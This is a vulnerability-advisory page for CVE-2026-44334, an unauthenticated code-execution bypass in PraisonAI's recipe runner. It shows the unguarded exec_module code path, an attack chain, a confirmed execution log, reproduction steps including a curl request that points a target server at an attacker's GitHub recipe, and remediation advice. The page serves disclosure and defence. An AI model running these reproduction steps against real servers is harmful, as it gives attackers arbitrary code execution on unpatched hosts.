Skip to main content

PraisonAI CVE-2026-44334

HIGH
Code Injection (CWE-94)
2026-05-06 https://github.com/MervinPraison/PraisonAI GHSA-xcmw-grxf-wjhj
8.4
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
8.4 HIGH
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI
9.8 CRITICAL

Confirmed remote HTTP exploitation with no auth or user interaction under default config warrants AV:N/AC:L/PR:N/UI:N; unrestricted code execution gives full C:H/I:H/A:H, overriding the input's understated AV:L.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 23, 2026 - 23:12 vuln.today
Analysis Generated
Jul 23, 2026 - 23:12 vuln.today
CVE Published
May 06, 2026 - 22:08 nvd
HIGH 8.4

DescriptionGitHub Advisory

TL;DR

CVE-2026-40287's fix gated tools.py auto-import behind PRAISONAI_ALLOW_LOCAL_TOOLS=true in two files (tool_resolver.py, api/call.py). A third import sink in praisonai/templates/tool_override.py was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is remotely triggerable through POST /v1/recipes/run with a recipe value pointing at any local absolute path *or* any GitHub repo (because SecurityConfig.allow_any_github defaults to True). The attacker drops a tools.py next to TEMPLATE.yaml; the server exec_module()s it. No auth required by default, no environment opt-in required.

Patch coverage gap

CVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at:

FileLineGate
praisonai/tool_resolver.py77if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
praisonai/api/call.py80same

But the equivalent sinks in praisonai/templates/tool_override.py were not patched:

python
# tool_override.py - create_tool_registry_with_overrides()
332    cwd_tools_py = Path.cwd() / "tools.py"
333    if cwd_tools_py.exists():
334        try:
335            tools = loader.load_from_file(str(cwd_tools_py))
# <-- exec_module
336            registry.update(tools)
337        except Exception:
338            pass
339
341
# 4. Template-local tools.py
342    if template_dir:
343        tools_py = Path(template_dir) / "tools.py"
344        if tools_py.exists():
345            try:
346                tools = loader.load_from_file(str(tools_py))
# <-- exec_module
347                registry.update(tools)
348            except Exception:
349                pass

load_from_file (line 84-94) ends in spec.loader.exec_module(module) with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution.

Attack chain

HTTP POST /v1/recipes/run
  body: {"recipe": "<abs path>" | "github:<owner>/<repo>/<recipe>"}
        │
        ▼
recipe/serve.py:483   run_recipe(request)              ← auth=none default
        │
        ▼
recipe/core.py:215    recipe.run(name, ...)
        │
        ▼
recipe/core.py:686    _load_recipe(name)
                      └─ ".." check only; absolute paths and URIs allowed
        │
        ▼
templates/loader.py:94    TemplateLoader.load(uri)
        │
        ▼
templates/security.py:130 is_source_allowed("github:*")
                          └─ allow_any_github=True default → returns True
        │
        ▼
templates/registry.py     fetch repo from raw.githubusercontent.com → cache dir
        │
        ▼
templates/security.py:215 validate_template_directory(cached.path)
                          └─ .py is in allowed_extensions → tools.py kept
        │
        ▼
recipe/core.py:887        _execute_recipe(recipe_config, ...)
        │
        ▼
recipe/core.py:943        create_tool_registry_with_overrides(
                              include_defaults=True,
                              template_dir=recipe_config.path)
        │
        ▼
templates/tool_override.py:341-349   load_from_file(template_dir/tools.py)
        │
        ▼
templates/tool_override.py:94        spec.loader.exec_module(module)   ← RCE

The tool registry build runs *before* any LLM/agent step, so OPENAI_API_KEY and similar are not required. A recipe with an empty workflow.steps: [] is sufficient - the payload fires during registry construction.

Confirmed execution (2026-04-25, praisonai 4.6.31)

SERVER stdout (PID 43784):
  Uvicorn running on http://127.0.0.1:8765
  127.0.0.1 - POST /v1/recipes/run HTTP/1.1
  [CVE-2026-40287-bypass] RCE fired. Marker written to: …/praisonai_pwn_1777094071.txt
  127.0.0.1 - "POST /v1/recipes/run" 500 Internal Server Error

Marker file:
  pid: 43784            ← matches server PID
  argv: ['server.py']   ← server process, not exploit

The 500 response is a downstream side-effect of workflow.steps: [] failing to construct a runnable workflow; the exec_module(tools.py) call runs *before* that error. The attacker payload has already executed in the server process by the time the 500 is sent.

Reproduction (local-path variant)

Files under pocs/praisonai-cve-2026-40287-bypass/:

bash
pip install 'praisonai[serve]==4.6.31'
# Terminal 1
python server.py
# Terminal 2
python exploit.py

Expected: server stdout shows [CVE-2026-40287-bypass] RCE fired.; a praisonai_pwn_<timestamp>.txt file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process.

Reproduction (remote GitHub variant)

bash
# Push evil_recipe/ to https://github.com/<you>/poc-recipe (public repo)

curl -X POST http://target:8765/v1/recipes/run \
     -H 'Content-Type: application/json' \
     -d '{"recipe":"github:<you>/poc-recipe/poc-recipe"}'

No filesystem prerequisite on the target. Triggers because SecurityConfig.allow_any_github (templates/security.py:30) defaults to True.

AnalysisAI

Unauthenticated remote code execution in PraisonAI (pip package praisonai, versions 4.5.139 through 4.6.31) allows attackers to run arbitrary Python in the server process by pointing the recipe runner at a malicious tools.py. This is a patch-coverage bypass of CVE-2026-40287: the earlier fix gated auto-import of tools.py behind the PRAISONAI_ALLOW_LOCAL_TOOLS=true env var in tool_resolver.py and api/call.py, but a third sink in templates/tool_override.py was left unguarded and executes on every recipe run. Publicly available exploit code exists (working PoC and confirmed execution in the advisory), though EPSS is only 0.02% and SSVC exploitation status is 'none'.

Technical ContextAI

PraisonAI is an open-source Python framework for building and running multi-agent AI workflows, exposing an HTTP API (praisonai[serve]) with a POST /v1/recipes/run endpoint. The root cause is CWE-94 (Improper Control of Generation of Code / code injection): the template loader's load_from_file() (templates/loader.py) ends in spec.loader.exec_module(module) with no allowlist, signature check, or environment gate. create_tool_registry_with_overrides() in templates/tool_override.py calls this unconditionally against both Path.cwd()/tools.py and <template_dir>/tools.py during registry construction, which happens before any LLM/agent step - so no API keys or workflow steps are needed. The affected package is identified by CPE pkg:pip/praisonai. Compounding the issue, SecurityConfig.allow_any_github (templates/security.py:30) defaults to True, so a recipe value like github:<owner>/<repo>/<recipe> is fetched from raw.githubusercontent.com and .py files survive validate_template_directory() because .py is an allowed extension.

RemediationAI

Vendor-released patch: upgrade praisonai to 4.6.32 or later (pip install 'praisonai>=4.6.32'), which closes the unguarded import sink in templates/tool_override.py. Until you can upgrade, apply compensating controls: set PRAISONAI_ALLOW_LOCAL_TOOLS to anything other than 'true' does NOT help here because this sink is unguarded, so instead disable untrusted recipe sources by setting SecurityConfig.allow_any_github=False (blocks the remote GitHub variant, at the cost of breaking legitimate GitHub-hosted recipes), enable authentication on the serve endpoint (default is auth: none - require an auth token, trading off open access for protection), and network-restrict POST /v1/recipes/run so it is not reachable from untrusted networks. Additionally avoid running the server with a writable tools.py in the process CWD to close the local-path/CWD variant. Consult the advisory at https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xcmw-grxf-wjhj for authoritative guidance.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Share

CVE-2026-44334 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy